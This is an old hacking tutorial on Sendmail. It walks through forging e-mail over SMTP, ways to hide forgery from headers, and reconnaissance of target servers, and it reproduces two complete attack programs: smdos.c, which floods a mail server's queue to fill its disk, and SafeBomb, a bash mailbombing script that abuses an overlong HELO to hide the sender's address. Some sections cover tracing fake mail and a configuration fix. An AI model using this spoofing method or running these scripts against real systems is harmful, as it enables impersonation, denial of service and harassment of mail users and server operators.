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Author's notes
If you have any comments or questions regarding this tutorial (no flames or
spam, please) Email me at barakirs@netvision.net.il.
Visit blacksun.box.sk for more tutorials, free
hacking/programming/unix books to download and
much more.
Disclaimer
We do not encourage any kinds of illegal activities. If you believe that
breaking the law is a good way to impress someone, please stop reading now
and grow up. There is nothing impressive or cool in being a criminal.
Contents
Sendmail? Huh?
- What
is Sendmail?
- What
is it used for?
- Why
would I want to learn about Sendmail?
How
do I create authentically-looking fake mails?
- You
mean I can send Emails from bgates@microsoft.com or
bclinton@whitehouse.org?!
- Is
it possible to create a 100% authentical
Email?
- How
can I learn raw Sendmail commands by
myself?
- But
what if I'm lazy? Can you pleeease teach
me?
- How
do I track down carelessly-made fake mails?
- How
do I track down more sophisticated fake mails?
- Can
I get caught?
- Will
I get caught?
Hack
the server? Through Sendmail?!
- Can
I really hack a host that runs Sendmail?
- So
why is Sendmail
called "the buggiest daemon on Earth" anyway?
- Okay,
great. Now how do I do it?
- Can
you tell me more about various Sendmail
security holes?
- Where
can I find more Sendmail security holes?
- How
can I tell what version of Sendmail the
target host is running?
- Why
should I care anyway?
- How
can I use the BugTraq archives to find the
holes I'm looking for?
- Can
I get caught?
- Will
I get caught?
- Final
Notes
Okay,
so I can hack a host which runs Sendmail. How do
I do it?
- A
Local DoS(29) in All Sendmail
Versions Up to 8.9.3
- Bug
in Sendmail's HELO command
- Giant
Bug in Sendmail 8.8.4
- Final
Notes
Newbies corner
- What
is a daemon?
- What
is a port?
- What
is a service?
- What
is a daemon banner?
- What
is a timeout (in computer terms)?
- What
is TCP and how does it work?
- What
is UDP and how does it work?
- What
is ICMP and how does it work?
- What
is an IP address?
- What
is a hostname?
- How
to find out what your ISP's mail servers are?
- What
is a portscanner?
- What
is a services scanner?
- What/who
is root?
- What
is bandwidth?
- What
is a client program?
- What
is a DNS server?
- What
is Telnet (the Telnet daemon and the Telnet program)
- What
is a command interpreter?
- What
is a shell account?
- Who
is a sysadmin?
- What
is hyper text?
- What
is an RFC?
- What
is InterNIC?
- What
is a sub domain (and how much does a domain really cost?)?
- What
is SSH?
- What
is a moderated mailing list / message board?
- What
is a DoS attack?
- What
is DUN?
- What
is a dial-up account?
- What
is a Unix password file?
- What
is a thread?
Appendix
A: Fake Daemons
- Fake
Sendmail daemon
- Fake
Telnet daemon
Appendix
B: Routing Mail
- How
can I route my mail?
- How
would that help me?
Appendix
C: Faking the sender's IP
- How
can I fake my IP on the Email's header?
- Where
can I read more about this kind of stuff?
Appendix
D: Reply-to
- What
does the Reply-to option do?
- How
do I use it?
Appendix
E: CC and BCC
- What
do these commands do?
- How
do I use them?
References
Bibliography
- Sam
Spade's Library
- Various
online magazines
- BugTraq's archives
- Packet
Storm Security
- Security
Focus
- Rootshell
- Hackersclub
Sendmail? Huh?
Sendmail is a daemon(1)
which waits for connections on port(2) 25. It is used to send outgoing
mail.
For example: your Email provider (probably your ISP (Internet Service
Provider)) probably uses two servers (unless it's a web-based mail account
such as Hotmail.com):
1) mail.boring-ISP.net (probably port 110): for incoming mail.
2) mailgw.boring-ISP.net (port 25): for outgoing mail.
Most of the time mail servers look pretty much like this, but the addresses
vary from different ISPs.
Mail.boring-ISP.net would require a username and a password so people won't
be able to read your Emails, so let's skip this one (I might discuss
cracking those passwords in another tutorial, but remember - I'm teaching
you these things so you'll be able to know how malicious crackers work and
not fall for their tricks, not for you to break the law and harm others).
Now, as surprising as it may sound, mailgw.boring-ISP.net will not require
a password or any other means of identification. If you telnet(19)
into mailgw.boring-ISP.net on port 25 and type in the right commands you
will be able to send fake mails. Interesting, huh?
Now, the coolest part is that you can actually hack a server running Sendmail or at least bring it down, since Sendmail contains a crapload
of bugs and security holes.
How can I create authentically-looking fake mails?
As mentioned in the previous chapter, sending mail does not require you to
have an account on the machine you're sending the mail from (the mail
server, not your computer). All you need to know is the IP Address(9) / Hostname(10) of the mail server and Sendmail commands.
So far we assume that you know the IP/hostname of your target. If you still
don't know this important detail, please find out(11).
Now, let's get on with it. This time, unlike previous tutorials, I will
"learn" all over again how to do everything I describe here and
walk you through the entire process of learning and using what you have
learnt.
Alright, let's begin.
Our target outgoing mail server for today is mailgw.someone.com on port 25.
First, let's telnet into that port by either typing 'telnet
mailgw.someone.com 25' (without the quotes) on a standard Unix text-based
system, running C:\Windows\telnet.exe or your favorite telnet application
and typing in mailgw.someone.com in the host
field and 25 in the port field, or executing your favorite telnet
application from XWindows (a graphical interface
for Unix. If you're smart enough to be running some version of Unix you
shouldn't have a hard time finding one. If you don't like the default
telnet programs you could always go to www.linuxberg.com and grab one) and
typing in the correct details (host and port).
Note about VT: you might be asked to choose a terminal type during the
connection process. Something with VT and some number in it... hmm...
VT stands for Virtual Terminal. Since there are several types of terminals
(all sorts of monitors, old printer terminals etc') you are asked to choose
a terminal type (compatibility issues). VT100 should suite most people just
fine.
Note about shell accounts(21): if you're not
running Unix and you wish to use Unix tools on Unix systems while you work,
telnet to nether.net on port 23, login as newuser
and get yourself a free shell account. If you'd rather user Window's tools
(I use Window's stuff when I work from Windows, except certain conditions
when I really NEED Unix and I don't want to reboot and boot it up. In that
case, I get myself a shell account so I am able to use Unix stuff while
working from Windows) go ahead (things will work faster since the tools are
actually located on your machine, not on some distant computer which runs a
shell account), but I still recommend that you will get a shell account at
nether.net (in fact they teach you a lot of great Unix-newbies
stuff when you sign up).
Note about Telneting from Macintosh: Macintosh
does not come with a Telnet program. However, you can download one from:
http://www.ncsa.uiuc.edu/SDG/Software/MacTelnet/ (thanks to little_v for this one!).
Now, let's see what we get after we telnet(19) to
mailgw.someone.com:25 (in this case, the character : stands for 'on port',
so mailgw.someone.com:25 means mailgw.someone.com on port 25).
220 alpha.someone.com ESMTP Sendmail 8.9.3/8.8.6;
Thu, 8 Jul 1999 21:46:04 +0000 (GMT).
AHA! This is... this is... ugh... WHAT THE HELL IS THIS THING?!
This, my friends, is a daemon banner(4), and it
just gave us tons of valuable pieces of information!
Normally, this info is intended for a client program(16) to determine what
version of Sendmail the target is running and how
to communicate with it (the program should know that, for example, every Sendmail version below 7.0.0 uses the command 'halb' instead of the command 'blah', etc').
This daemon banner thing is also great for hackers and crackers, since we
can determine what version our target is running. Later, when we will
discuss about how to actually hack the server, this data would be EXTREMELY
valuable.
Okay, let's analyze what we've got...
220... we don't know what this is right now...
alpha.someone.com... no luck, can't make anything out of it so far...
ESMTP... hmm... SMTP stands for Simple Mail Transfer Protocol. It is the protocol(18) used by email clients to communicate with Sendmail daemons, and this is what we're trying to
learn right now. ESMTP is Extended SMTP. It's the same as SMTP, only it
contains some more commands. Let's leave this alone for the time being.
Sendmail 8.9.3/8.8.6 - AHA! There's something
interesting. We got the version of the Sendmail
daemon! Remember this, it will help us during the
next chapter (hacking into servers who run Sendmail).
The rest is garbage (time, date, etc' etc' etc').
Okay, so let's move on... umm... how do I communicate with this thing?
Er... let's try typing 'help' (without the
quotes). Oh, by the way, it is normal not to see what you type when you
talk to Sendmail since it won't send back your
keystrokes. You have to turn on "local echo" in your telnet
program in order to see what you type.
214-This is Sendmail version 8.9.3
214-Topics:
214- HELO EHLO
MAIL RCPT DATA
214- RSET
NOOP QUIT HELP
VRFY
214- EXPN
VERB ETRN DSN
214-For more
info use "HELP <topic>".
214-To
report bugs in the implementation send email to
214- sendmail-bugs@sendmail.org.
214-For
local information send email to Postmaster at your site.
214 End of
HELP info
Wee!
This is cool!!
By this time you should have guessed that this number (the 220 in the
daemon banner and the 214 here) is actually a 'message type'. It states the
type of the message you got. Each type of message (error because of this,
error because of that, help page for this, confirmation message for that
etc') has it's own number.
Okay, let's move on. Let's try typing 'help helo'.
214-HELO
<hostname>
214- Introduce yourself.
214 End of
HELP info
See? I told you so. 214 is the
message type number for help messages.
Okay, so that way you can practically teach yourself what every Sendmail command does. Stop right now, read all the
help pages and then continue. It is important that you'll learn how to
learn things by yourself. You might see some notes concerning the word RFC(24) and some numbers. You can find RFCs at http://www.linuxberg.com.
Note about ESMTP: remember that ESMTP thing we came across? You'll be able
to get a good clue on what ESMTP is by reading the help pages. Yes, I am
trying to force you to read them... so please do. They contain tons of
great information for newbies as well as pros.
Okay, I'm assuming you've finished reading all those help pages. Now let's
move on.
First we need to enter a sender. We do this by typing 'MAIL FROM: <fake
Email address>' (remove the quotes and replace fake Email address with
the fake Email address of your choice, say... bgates@microsoft.com (but
leave the < and the >)).
The mail server should reply with this message:
250 bgates@microsoft.com... Sender ok
Next we type 'RCPT TO: <recipient>'. Replace recipient with the
target, say victim@victim.com. We should get
250 victim@victim.com... Recipient ok
You can add recipient by simply doing this command several times, only with
different recipients.
Now, let's move on to the actual message body. Type 'data' to start writing
the body of the message.
354 Enter mail, end with "." on a line by itself
Now let's type in some stuff...
Subject: fake message (note about this line: in this line you get to
determine what subject you want to give for your message).
Hello. This is a fake Email message.
I'm bored.
Gimme something to hack!!
.
Now we get this
250 CAA15313 Message accepted for delivery
You must be wondering right now what the heck is that
number after the 250. This is called the message ID (or MID). It's
just a stupid number, but we'll use them later... don't you worry your
pretty head about this.
Now, if you were the recepient you would have got
a 100% reliably-looking fake mail. OR IS IT?
Let's take a look at what the recepient would
get...
Hmm... welp, looks like
an ordinary message to me. At least it does to the ordinary user.
Now let's look at the headers.
Headers are a couple of lines which come with every Email address. Most of
today's Email clients show only the simpler parts of the header (sender,
subject, date and time etc'), but right now we need the full header.
On Netscape Messanger displaying the full headers
is done by going to View ==> Headers ==> All.
On Eudora this is done by clicking on the button which displays the
"blah blah blah"
caption when you put your mouse cursor above it for a second or two.
Compuserve automatically displays the full
header.
On Outlook, right click the message on your inbox, choose properties and
choose details.
On pine, you should have an option somewhere in the configuration screens
that let's you choose what kind of header you want to view (full or
briefed).
Now let's take a look at the full header, shall we?
Received: from alpha.netvision.net.il (alpha.netvision.net.il [194.90.1.13]) by cmx.netvision.net.il (8.9.3/8.9.3) with ESMTP id
CAA15313 for victim@victim.com>; Sat, 10 Jul 1999 02:49:59 +0300 (IDT)
From: bgates@microsoft.com
Received: from some.hostname.crap.com (some.hostname.crap.com
[62.0.146.225]) by alpha.someone.com (8.9.3/8.8.6) with SMTP id CAA15313
for victim@victim.com; Sat, 10 Jul 1999 02:55:46 +0300 (IDT)
Date: Sat, 10 Jul 1999 02:55:46 +0300 (IDT)
Message-ID: <199907092355. CAA15313@alpha.someone.com>
X-Authentication-Warning: alpha.someone.com: some.hostname.crap.com
[62.0.146.225] didn't use HELO protocol
Subject: Fake mail
Status:
X-Mozilla-Status: 8001
X-Mozilla-Status2: 00000000
X-UIDL: 3752da3b000002ff
Yeehaw! Look at all those numbers and letters and
shiny things!
Let's start from the top, shall we?
Received: from alpha.someone.com (alpha.someone.com [194.90.1.13]) by
cmx.someone.com (8.9.3/8.9.3) with ESMTP id CAA16970 for >; Sat, 10 Jul
1999 02:49:59 +0000 (GMT)
Okay, so the mail was received from alpha.someone.com (alpha.someone.com
[194.90.1.13]). What does that mean?
A quick checkup on InterNIC(25)'s databases (type
'whois alpha.someone.com' without the quotes on a
Unix system or download SamSpade for Windows at
www.samspade.org) reveals that it is owned by someone.com. This is probably
some kind of a sub-server they use to send mail. Let's leave it alone, it's
not important to us right now. The (alpha.someone.com [194.90.1.13]) part
shows you the hostname(10) and the IP address (9)
of the server the Email was sent from.
Ooh, ooh, wait! Wasn't the mail supposed to be sent from microsoft.com? I
mean, the sender is bgates@microsoft.com!
If we did the mail forging thing on microsoft.com instead of on someone.com
this wouldn't have happened, now would it? It would have seemed like an
ordinary Email... from Bill Gates... well, at least so far.
Anyway, the rest is just the MID (which we will get to later) and the date
of the message (the sending date) according to the server which the message
was sent from. The +0000 (GMT) part means that it was sent from the Greenwich time zone.
If it was sent, for example, from the +0200 time zone it would have meant
that this time zone's time is actually Greenwich time plus 2 hours. Find our your time zone first so you'll be able to switch
time zones and find out when was the message sent in your time.
Now, on to more important things.
From: bgates@microsoft.com
Well, I guess this line is obvious... let's move on.
Received: from some.hostname.crap.com (some.hostname.crap.com
[62.0.146.225]) by alpha.someone.com (8.9.3/8.8.6) with SMTP id CAA15313
for victim@victim.com; Sat, 10 Jul 1999 02:55:46 +0300 (IDT)
Okay, now this is really interesting. Now we get the sender's hostname and
IP address.
Note about the hostname: a dial-up(31) user will
have a long and twisted hostname. For example: my hostname right now (at
least when I was writing these lines) is RAS4-p97.hfa.netvision.net.il. Netvision.net.il is my ISP, and the rest is mostly crap
(pay close attention to the hfa thing. Hfa stands for Haifa,
which is my home town. It means that I'm connected through Netvision's Haifa
server. See? Hostnames can be interesting).
You must have noticed by now that the hostname we got is certainly not from
microsoft.com, and that the mail server who sent this isn't exactly
microsoft.com or a microsoft sub-domain(26)
either, which clearly shows that this Email is completely fake.
Another note about the hostname: sometimes you might not get a hostname,
but you will always get an IP address. You can find the IP's hostname (most
IP addresses do have a hostname) by doing 'nslookup
ip-address' without the quotes on a Unix system
or going to http://www.samspade.org and using their DNS(17)
Lookup Tool. If you still can't get it, try doing a whois.
To overcome this problem, you need to do two things:
1) Send this mail from Microsoft's Sendmail
server.
2) Send this mail from an account that is connected to the web through
Microsoft. If you can't get one, it will clearly show in the headers that
the mail wasn't sent from Microsoft.
Note: nice trick to pull on someone: if your ISP is blah.com, you can send
your friends an Email from admin@blah.com which will look 100% authentic!
Anyway, the next few characters give us the MID (Message ID), as well as
other pieces of info. I promised we'll get to the MID, didn't I?
If you think someone is trying to trick you into thinking he's somebody
else, send an Email to abuse@your.ISP.com or
abuse@the.ISP.where.the.message.came.from.com (in this case Microsoft.com)
or abuse@the.server.who.stores.the.MID.com.
To know which server stores the MID, we'll need to skip a few lines (two
lines actually - time and date) and get straight to this:
Message-ID: <199907092355. CAA15313@alpha.someone.com>
Aha! Look at these interesting numbers! And check this out:
CAA15313@alpha.someone.com! This means all the info regarding the MID is
stored at alpha.someone.com! Let's send an Email to abuse@alpha.someone.com
and tell them that we think we received a fake mail, and include the entire
header. Next thing we'll do the same with the ISP of the sender (in our
case, the sender is some.hostname.crap.com [62.0.146.225], meaning his ISP is
probably crap.com).
Now, on to the next line:
X-Authentication-Warning: alpha.someone.com: some.hostname.crap.com
[62.0.146.225] didn't use HELO protocol
Damn! I knew we forgot something! Now let's do it all over again, but this
time we'll type HELO microsoft.com at the beginning.
HELO microsoft.com
We get this:
250 mailgw1.netvision.net.il Hello some.hostname.crap.com
[62.0.146.225], pleased to meet you
The rest is exactly like in the last time (sender, rcpt to, etc' etc'). Now let's see what victim@victim.com would have
gotten.
Aha! No X-Authentication-Warning!
Final notes
I hope you enjoyed this chapter. Now you've learnt how to play harmless and
legal tricks on your friends, how to spike-down fake mails and how easy it
is to catch you if you're trying to do illegal stuff.
Oh, and by the way, there is a way to hide your IP/hostname when faking
mail... for more information, read the second section in the 'Okay, so I
can hack a host which runs Sendmail. How do I do
it?' chapter.
Hack the server? Through Sendmail?!
Yeah, sure, why not? I mean, EVERY service(3) is
vulnerable to some attacks. That's why it is recommended to run as less services possible on your computer.
But the most vulnerable one is Sendmail (this is
why it is called 'the buggiest daemon on Earth' or 'the buggiest daemon on
the planet'). A member of the mailing list once told me that he just can't
wait to read the Sendmail Tutorial (this was
before this tutorial has been released) and that he himself runs Sendmail on his computer. Running Sendmail
on a personal computer is unnecessary and dangerous. If your computer does
not act as a mail server, there is no reason for you to run Sendmail (unless you want people to be able to send
mail to your-account@your.IP.address instead of
your-account@your.ISP.com. Note about your-account: in the first address,
your-account is the name of your username on your own computer (Unix users
should know what I am talking about). In the second address, your-account
is your username at your ISP).
Note: the information in this chapter can be either used to hack servers,
or the other way around - to protect your server. Please don't break the
law, or at least don't spew out my name during the investigations... hehe...
Okay, so the first thing we have to do in order to hack a server through a
specific service (or to improve the security of a specific server) is it's
(the service's) version. This can be easily done by viewing the daemon banner(4). Suppose we came across a computer that runs Sendmail 8.8.3 (which was quite old when this tutorial
was written, meaning there should be a couple of bugs here. Sendmail is upgraded mostly when a new bug is found. In
fact, everything except of the daemon's security is rarely changed during
upgrades).
Next thing we'll try to determine the OS (Operating System) which this
daemon runs on. If Sendmail's banner won't tell
us, the Telnet(19) daemon will. First telnet to
port 23 and cross your fingers. If there's a daemon on that port, it's
probably the Telnet daemon, and it'll probably give you the name and
version of the OS. If not, you can either:
1) Try looking for a guest account (username: guest, password: guest or
username: newuser, password: newuser),
since some systems give you these details only after you log in.
2) Email admin@your-target.com and ask him (I recommend opening a mailbox
on one of those free mailbox services such as Hotmail and Emailing him from
there, since some admins(22) might get a little
suspicious...).
3) Try going to your target's website. This kind of information might be
there, somewhere.
If you still didn't find the OS, fear not! We might still be able to do a
cool hack without this information, but still this information might come
in handy, so do all you can to get your hands on it.
Next thing, you browse some online databases until you find the hole you've
been looking for. First of all I'll explain about the largest and most
recommended online databases, and then I'll teach you how to search them,
plus some valuable concepts and words you need to get familiar with.
Packet Storm Security
URL: http://packetstorm.securify.com.
One of the largest online databases for security-related information. I
recommend going there once a day and reading the 'New Files Today' section,
whether you're looking for specific holes or not.
The archive was founded by Ken Williams and gets hundreds of thousands of
hits per week.
It has recently been transferred into the ownership of Kroll-O-Nagra (www.securify.com).
Security Focus
URL: http://www.securityfocus.com.
Another comprehensive database. Updated daily. These guys never sleep!
BugTraq
URL: hosted by Security Focus (http://www.securityfocus.com), previously
hosted by Netspace (http://www.netspace.org).
BugTraq is one of the best security mailing list out there. The list is moderated, meaning that if
you find a new security hole, you can only send your message to the
moderator, Aleph1 (aleph1@underground.org). Aleph1 filters out all the
spam, lame messages and old bugs and posts only the good ones to the list.
I recommend signing up at http://www.securityfocus.com. You can also search
their archive, which is by the way my favorite security-related database,
by going to securityfocus.com and looking for a link called 'search'.
Searching
If we are looking for a bug in Sendmail 8.8.3,
we'll need to type the following search keywords: 'sendmail
8.8.3' (without the quotes). If we're looking for something specific, such
as a local DoS(29) attack against any version of sendmail,
we will use the following search keywords: 'local DoS
sendmail', etc'.
Searching Packet Storm
Packet Storm should have a search box somewhere (Ken changes the layout
every now and then so I can't give you the exact location of the box). You
can divide the search results you will get into two categories: texts and
programs.
For example: you searched for a specific hole and you got a couple of text
files and a couple of programs. The text files explain about the bugs and
how to exploit it, while the programs use the hole to get in.
These programs are often called 'exploits' and usually come as a source
code instead of as a binary file. Let me explain: a binary file is any file
that isn't made of text. Execu files are usually
binary files. Now, in our case, programs come as sources instead of binary.
Sources are in the form of plain text, and they're actually a bunch of
commands. When given to a compiler, this source code turns into an
executable binary (except for source codes written in the Perl programming
language, which can be executed in the form of sources if you have the
right program). Anyway, these programs come in the form of sources so you
will be able to understand how they work instead of blindly running them.
Searching Security Focus
Security Focus offers more organized information. Instead of various bits
of information, Security Focus offers articles. These include exact
definitions of the bug, where and when it should happen, work-arounds (how to solve it) etc'. The only backdrop in
Security Focus is that it is smaller than other databases.
BugTraq
Ah... my favorite database. When people post something to BugTraq about a security hole they found, other people
can reply to them and share their side of the story. For example: did it
work on their computer too, how to fix the bug in various ways, what causes
the bug in the first place etc'. You can compile a full database with all
of the necessary information by simply reading a couple of posts.
Getting Caught
If you're planning on doing something bad, please don't. You can get
caught. Better crackers than you already got caught. Don't be stupid.
Okay, so I can hack a host which runs Sendmail.
Now how do I do it?
I have made a nice list with several security holes regarding Sendmail just to give you the hang of it.
A Local DoS(29) in All Sendmail
Versions Up to 8.9.3 (taken from Packet Storm)
Date: Sat, 3 Apr 1999 00:42:56 +0200
From: "[iso-8859-2] Michał Szymański"
<siwa9@BOX43.GNET.PL>
To: BUGTRAQ@netspace.org
Subject: Re: Possible local DoS in sendmail
Hi folks,
This local queue filling DoS attack in sendmail is quite dangerous. But good
security policy (like mine) will prevent attackers from doing such things.
Control files (in /var/spool/mqueue) created by 'sendmail -t' are owned by
root.attacker's_group; turn on quotas for group 'attacker's_group' on the
file system containing /var/spool/mqueue
directory, and your host will be not
vulnerable; but you _have to_ configure your sendmail
as _nosuid_ daemon;
Much more dangerous are remote queue filling DoS
attacks. If you have enabled
relaying, you can use shown below smdos.c proggie; it will quite fast fullfill
partition on disk where /var/spool/mqueue
resides. you should notice increased
LA during attack; in contrast to local DoS attacks,
control files created by
smdos.c are owned by root.root,
so ... it's much more difficult to prevent
offenders from doing it;
don't forget to change BSIZE definition (in smdos.c)
to appropriate victim's
host message size limitation (MaxMessageSize option);
you can also increase
MAXCONN definition.
smdos.c:
--- CUT HERE ---
/*
By Michal Szymanski <siwa9@box43.gnet.pl>
Sendmail DoS (up to
8.9.3);
Sat Apr 3 00:12:31 CEST 1999
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#undef VERBOSE /* define it, if MORECONN is
undefined */
#define MORECONN
// #define RCPT_TO "foo@ftp.onet.pl"
#define RCPT_TO "foo@10.255.255.255"
#ifdef MORECONN
#define MAXCONN 5
#endif
#define BSIZE 1048576 /* df* control file size */
#define PORT 25
char buffer[BSIZE];
int sockfd,x,loop,chpid;
void usage(char *fname) {
fprintf(stderr,"Usage:
%s <victim_host>\n",fname);
exit(1);
}
void say(char *what) {
if (write(sockfd,what,strlen(what))<0) {
perror("write()");
exit(errno);
}
#ifdef VERBOSE
fprintf(stderr,"<%s",what);
#endif
bzero(buffer,BSIZE);
usleep(1000);
if (read(sockfd,buffer,BSIZE)<0) {
perror("read()");
exit(errno);
}
#ifdef VERBOSE
fprintf(stderr,buffer);
#endif
}
int main(int argc,char *argv[]) {
struct sockaddr_in serv_addr;
struct hostent *host;
char *hostname,hostaddr[20];
fprintf(stderr,"Sendmail
DoS (up to 8.9.3) by siwa9
[siwa9@box43.gnet.pl]\n");
if (argc<2) usage(argv[0]);
#ifdef VERBOSE
fprintf(stderr,">Preparing
address. \n");
#endif
hostname=argv[1];
serv_addr.sin_port=htons(PORT);
serv_addr.sin_family=AF_INET;
if ((serv_addr.sin_addr.s_addr=inet_addr(hostname))==-1) {
#ifdef VERBOSE
fprintf(stderr,">Getting
info from DNS.\n");
#endif
if ((host=gethostbyname(hostname))==NULL) {
herror("gethostbyname()");
exit(h_errno);
}
serv_addr.sin_family=host->h_addrtype;
bcopy(host->h_addr,(char
*)&serv_addr.sin_addr,host->h_length);
#ifdef VERBOSE
fprintf(stderr,">Official
name of host: %s\n",host->h_name);
#endif
hostname=host->h_name;
sprintf(hostaddr,"%d.%d.%d.%d",(unsigned
char)host->h_addr[0],
(unsigned char)host->h_addr[1],
(unsigned char)host->h_addr[2],
(unsigned char)host->h_addr[3]);
}
else sprintf(hostaddr,"%s",hostname);
#ifdef MORECONN
for (;loop>MAXCONN;loop++) if (!(chpid=fork())) {
#endif
for(;;) {
bzero(&(serv_addr.sin_zero),8);
if ((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) {
perror("socket()");
exit(errno);
}
if ((connect(sockfd,(struct
sockaddr *)&serv_addr,sizeof(serv_addr))) == -1) {
perror("connect()");
exit(errno);
}
#ifdef VERBOSE
fprintf(stderr,">Connected
to [%s:%d].\n",hostname,PORT);
#endif
bzero(buffer,BSIZE);read(sockfd,buffer,BSIZE);
#ifdef VERBOSE
fprintf(stderr,buffer);
#else
fprintf(stderr,".");
#endif
say("helo foo\n");
say("mail from:root@localhost\n");
say("rcpt to:" RCPT_TO "\n");
say("data\n");
for (x=0;x<=BSIZE;x++) buffer[x]='X';write(sockfd,buffer,BSIZE);
say("\n.\n");
sleep(1);
say("quit\n");
shutdown(sockfd,2);
close(sockfd);
#ifdef VERBOSE
fprintf(stderr,">Connection
closed succesfully.\n");
#endif
}
#ifdef MORECONN
}
waitpid(chpid,NULL,0);
#endif
return 0;
}
--- CUT HERE ---
Bug in Sendmail's HELO Command (taken from
rootshell.com)
Note: this won't get you root access(14) or get you into partsin a system you're not supposed to get into, but
this is still pretty cool. In fact, it let's you hide your IP/hostname when
faking mail!
[ http://www.rootshell.com/ ]
We've had this exploit since January but sat on it until everyone had a
change of implementing a stable version of sendmail
8.9.x. (And because the
last thing I want to do is help the spammers) It has now made its way to
Bugtraq so without further ado.
--Rootshell 5/28/98
Date: Fri, 22 May 1998 12:36:54 +0300
From: Valentin Pavlov <root@PNS.NETBG.COM>
Subject: about sendmail 8.8.8 HELO hole
I assume this this is pretty old (10 Jan 1998)
but still...
I found a pretty simple way to prevent the hiding of the sender's IP
address. The method to hide the IP address of the sender is described
bellow. Now, if we want to keep track of such exploit attempts, we have to
compile sendmail 8.8.8 with a PICKY_HELO_CHECK
defined in conf.h:
#define PICKY_HELO_CHECK 1
This will force sendmail to syslog
an authentication warning
(message with LOG_INFO level) and include an X-Authentication-Warning:
header in the message, saying what host tried to hide itself. Check out
the source (srvrsmpt.c, main.c).
Also, LogLevel must be set to a value
higher than 3 (default is 9) in sendmail.cf.
regards,
capone
Make source, not [high]score
Valentin 'Val Capone' Pavlov
capone@netbg.com, UKTC87203
Now for the original message, describing the exploit:
-----Original Message-----
From: Michał Zalewski
<lcamtuf@boss.staszic.waw.pl>
To: info@rootshell.com <info@rootshell.com>
Date: 10 stycznia 1998 12:28
Subject: Sendmail 8.8.8 (qmail?)
HELO hole.
Here's a brief description of Sendmail (qmail) hole I found
recently:
When someone mailbombs you, or tries to send fakemail, spam, etc -
sendmail normally attachs
sender's host name and it's address
to outgoing message:
--
>From spam@flooders.net Mon Jan 5 22:08:21 1998
Received: from spammer (marc@math.university.edu [150.129.84.5])
by myhost.com (8.8.8/8.8.8) with SMTP id WAA00376
for lcamtuf; Mon, 5 Jan 1998 22:07:54 +0100
Date: Mon, 5 Jan 1998 22:07:54 +0100
From: spam@flooders.net
Message-Id: <3.14159665@pi>
MAILBOOM!!!
--
That's perfect - now you know, who is responsible for that annoying
junk in your mailbox: "Received: from spammer (marc@math.university.edu
[150.129.84.5])". Nothing easier...
But I found a small hole, which allows user to hide it's personality,
and send mails anonymously. The only thing you should do is to
pass HELO string longer than approx. 1024 B - sender's location and
other very useful information will be cropped!!! Message
headers should become not interesting. Sometimes, sender
may become quite untraceable (but not always, if it's possible
to obtain logs from machine which has been used to sent):
--
>From spam@flooders.net Mon Jan 5 22:09:05 1998
Received: from xxxxxxxxxxxxxx... [a lot of 'x's] ...xxxx
Date: Mon, 5 Jan 1998 22:08:52 +0100
From: spam@flooders.net
Message-Id: <3.14159665@pi>
MAILBOOM!!! Now guess who am I...
--
Here's a simple example of Sendmail's HELO hole usage. Note, this
script has been written ONLY to show how easy may be sending
fakemails, mailbombs,
with cooperation of Sendmail ;) Script is
very slow and restricted in many ways, but explains the problem
well (note, some of non-Berkeley daemons are also affected,
probably Qmail?):
-- EXPLOIT CODE --
#!/bin/bash
TMPDIR=/tmp/`whoami`
PLIK=$TMPDIR/.safe
TIMEOUT=2
LIMIT=10
MAX=20
echo
echo "SafeBomb 1.02b -- sendmail
HELO hole usage example"
echo "Author: Michal Zalewski
<lcamtuf@boss.staszic.waw.pl>"
echo
if [ "$4" = "" ]; then
echo "USAGE: $0 msgfile address server
sender"
echo
echo " msgfile - file to send as a message
body"
echo " address - address of lucky recipient"
echo " server - outgoing smtp server w/sendmail"
echo " sender - introduce yourself"
echo
echo "WARNING: For educational use ONLY. Mailbombing
is illegal."
echo "Think twice BEFORE you use this program
in any way. Also,"
echo "I've never said this program is 100% safe nor bug-free."
echo
sleep 1
exit 0
fi
if [ ! -f $1 ]; then
echo "Message file not found."
echo
exit 0
fi
echo -n "Preparing message..."
mkdir $TMPDIR &>/dev/null
chmod 700 $TMPDIR
echo "echo \"helo
_safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb_\""
>$PLIK
echo "echo \"mail from: \\\"$4\\\"\""
>>$PLIK
echo "echo \"rcpt to: $2\"" >>$PLIK
echo "echo \"data\"" >>$PLIK
echo "cat <<__qniec__"
>>$PLIK
cat $1 >>$PLIK
echo "__qniec__" >>$PLIK
echo "echo \".\"" >>$PLIK
echo "echo \"quit\"" >>$PLIK
echo "sleep $TIMEOUT" >>$PLIK
chmod +x $PLIK
echo "OK"
echo "Sending $1 (as $4) to $2 via $3 -- Ctrl+Z
to abort."
SENT=0
while [ -f $1 ]; do
$PLIK|telnet $3 25 &>/dev/null &
let SENT=SENT+1
echo -ne "Sent:
$SENT\b\b\b\b\b\b\b\b\b\b\b\b\b"
CONNECTED=`ps|grep -c "telnet $3"`
if [ "$LIMIT" -le "$CONNECTED" ]; then
while [ "$LIMIT" -le "$CONNECTED" ]; do
sleep 1
done
fi
if [ "$SENT" -ge "$MAX" ];
then
echo "It's just an example, sorry."
echo
exit 0
fi
done
-- EOF --
Suggested fix: insert additional length limit into HELO/EHLO
